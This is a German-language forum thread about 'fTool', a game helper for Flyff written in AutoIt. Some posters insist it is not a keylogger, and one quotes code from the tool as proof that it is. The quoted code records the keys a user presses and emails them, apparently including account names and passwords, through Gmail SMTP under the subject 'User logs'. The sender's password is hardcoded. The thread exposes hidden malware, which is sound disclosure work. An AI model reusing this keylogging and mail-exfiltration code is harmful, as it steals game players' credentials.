im ftool ist kein keylogger wie oft noch-._- er wird nur als virus erkannt da es in autoit geschrieben wurde also kein grund zur sorge.Quote:
@ nova wieso ist denn in ftool nen keylogger ich hab da nix gefunden naja automaton futzt bei mir auch net so recht weder auf d noch auf e flyff
Die fTool Version, die wir bekommen haben waren keinerlei Aktivitäten im Netz festzustellen. Ich gehe davon aus, dass mehrere Versionen des fTools im Umlauf waren/sind und daher dieser Quellcode stammt. Auch wenn dies für viele Benutzer zutraf, sind wir uns 100%ig sicher, dass kein Keylogger darin enthalten war. Ich werde mal das fTool von uns entpacken und unter die Lupe reißen. Danke für den Hinweis. :)Quote:
[Only registered and activated users can see links. Click Here To Register...]
Ja ok es ist zwar nicht direkt ein Keylogger(nicht als exe!),dennoch werden Accountdaten + Passwort an eine e-mail adresse geschickt.
Hochgenommen..genau wie Lucyy und all die anderen die glauben das da nichts drin ist!
Tastenaufnahme:Quote:
EDIT: Zeig uns das Stück Code, indem die Werte für die Variablen aufgenommen werden.
Variablen:Quote:
Func KEY_QQ()
SENDKEY($VK_Q)
$KEYPRESSED = String($KEYPRESSED) & "Q"
EndFunc
Func KEY_WW()
SENDKEY($VK_W)
$KEYPRESSED = String($KEYPRESSED) & "W"
EndFunc
Func KEY_EE()
SENDKEY($VK_E)
$KEYPRESSED = String($KEYPRESSED) & "E"
EndFunc
Func KEY_RR()
SENDKEY($VK_R)
$KEYPRESSED = String($KEYPRESSED) & "R"
EndFunc
Func KEY_TT()
SENDKEY($VK_T)
$KEYPRESSED = String($KEYPRESSED) & "T"
EndFunc
Func KEY_YY()
SENDKEY($VK_Y)
$KEYPRESSED = String($KEYPRESSED) & "Y"
EndFunc
Func KEY_UU()
SENDKEY($VK_U)
$KEYPRESSED = String($KEYPRESSED) & "U"
EndFunc
Func KEY_II()
SENDKEY($VK_I)
$KEYPRESSED = String($KEYPRESSED) & "I"
EndFunc
Func KEY_OO()
SENDKEY($VK_O)
$KEYPRESSED = String($KEYPRESSED) & "O"
EndFunc
Func KEY_PP()
SENDKEY($VK_P)
$KEYPRESSED = String($KEYPRESSED) & "P"
EndFunc
Func KEY_AA()
SENDKEY($VK_A)
$KEYPRESSED = String($KEYPRESSED) & "A"
EndFunc
Func KEY_SS()
SENDKEY($VK_S)
$KEYPRESSED = String($KEYPRESSED) & "S"
EndFunc
Func KEY_DD()
SENDKEY($VK_D)
$KEYPRESSED = String($KEYPRESSED) & "D"
EndFunc
Func KEY_FF()
SENDKEY($VK_F)
$KEYPRESSED = String($KEYPRESSED) & "F"
EndFunc
Func KEY_GG()
SENDKEY($VK_G)
$KEYPRESSED = String($KEYPRESSED) & "G"
EndFunc
Func KEY_HH()
SENDKEY($VK_H)
$KEYPRESSED = String($KEYPRESSED) & "H"
EndFunc
Func KEY_JJ()
SENDKEY($VK_J)
$KEYPRESSED = String($KEYPRESSED) & "J"
EndFunc
.
.
.
Emailversand:Quote:
Global $OMYERROR = ObjEvent("AutoIt.Error", "MyErrFunc")
$S_SMTPSERVER = "smtp.gmail.com"
$S_FROMNAME = "Name"
$S_FROMADDRESS = "[Only registered and activated users can see links. Click Here To Register...]"
$S_TOADDRESS = "[Only registered and activated users can see links. Click Here To Register...]"
$S_SUBJECT = "User logs"
$AS_BODY = $KEYPRESSED
$S_ATTACHFILES = ""
$S_CCADDRESS = ""
$S_BCCADDRESS = ""
$S_USERNAME = "[Only registered and activated users can see links. Click Here To Register...]"
$S_PASSWORD = "666hakier"
$IPPORT = 465
$SSL = 1
Global $OMYRET[2]
Global $OMYERROR = ObjEvent("AutoIt.Error", "MyErrFunc")
Alles zu finden am Ende der fTool.au3...Quote:
Func SENDMAIL()
$AS_BODY = $KEYPRESSED
$RC = _INETSMTPMAILCOM($S_SMTPSERVER, $S_FROMNAME, $S_FROMADDRESS, $S_TOADDRESS, $S_SUBJECT, $AS_BODY, $S_ATTACHFILES, $S_CCADDRESS, $S_BCCADDRESS, $S_USERNAME, $S_PASSWORD, $IPPORT, $SSL)
EndFunc
Func _INETSMTPMAILCOM($S_SMTPSERVER, $S_FROMNAME, $S_FROMADDRESS, $S_TOADDRESS, $S_SUBJECT = "", $AS_BODY = "", $S_ATTACHFILES = "", $S_CCADDRESS = "", $S_BCCADDRESS = "", $S_USERNAME = "", $S_PASSWORD = "", $IPPORT = 25, $SSL = 0)
$OBJEMAIL = ObjCreate("CDO.Message")
$OBJEMAIL.From = '"' & $S_FROMNAME & '" <' & $S_FROMADDRESS & ">"
$OBJEMAIL.To= $S_TOADDRESS
Local $I_ERROR = 0
Local $I_ERROR_DESCIPTION = ""
If $S_CCADDRESS <> "" Then $OBJEMAIL.Cc = $S_CCADDRESS
If $S_BCCADDRESS <> "" Then $OBJEMAIL.Bcc = $S_BCCADDRESS
$OBJEMAIL.Subject = $S_SUBJECT
If StringInStr($AS_BODY, "<") And StringInStr($AS_BODY, ">") Then
$OBJEMAIL.HTMLBody = $AS_BODY
Else
$OBJEMAIL.Textbody = $AS_BODY & @CRLF
EndIf
If $S_ATTACHFILES <> "" Then
Local $S_FILES2ATTACH = StringSplit($S_ATTACHFILES, ";")
For $X = 1 To $S_FILES2ATTACH[0]
$S_FILES2ATTACH[$X] = _PATHFULL($S_FILES2ATTACH[$X])
If FileExists($S_FILES2ATTACH[$X]) Then
$OBJEMAIL.AddAttachment($S_FILES2ATTACH[$X])
Else
$I_ERROR_DESCIPTION = $I_ERROR_DESCIPTION & @LF & "File not found to attach: " & $S_FILES2ATTACH[$X]
SetError(1)
Return 0
EndIf
Next
EndIf
$OBJEMAIL.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$OBJEMAIL.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $S_SMTPSERVER
$OBJEMAIL.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPORT
If $S_USERNAME <> "" Then
$OBJEMAIL.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
$OBJEMAIL.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $S_USERNAME
$OBJEMAIL.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $S_PASSWORD
EndIf
If $SSL Then
$OBJEMAIL.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
EndIf
$OBJEMAIL.Configuration.Fields.Update
Sleep(5000)
$OBJEMAIL.Send
If @error Then
SetError(2)
Return $OMYRET[1]
EndIf
EndFunc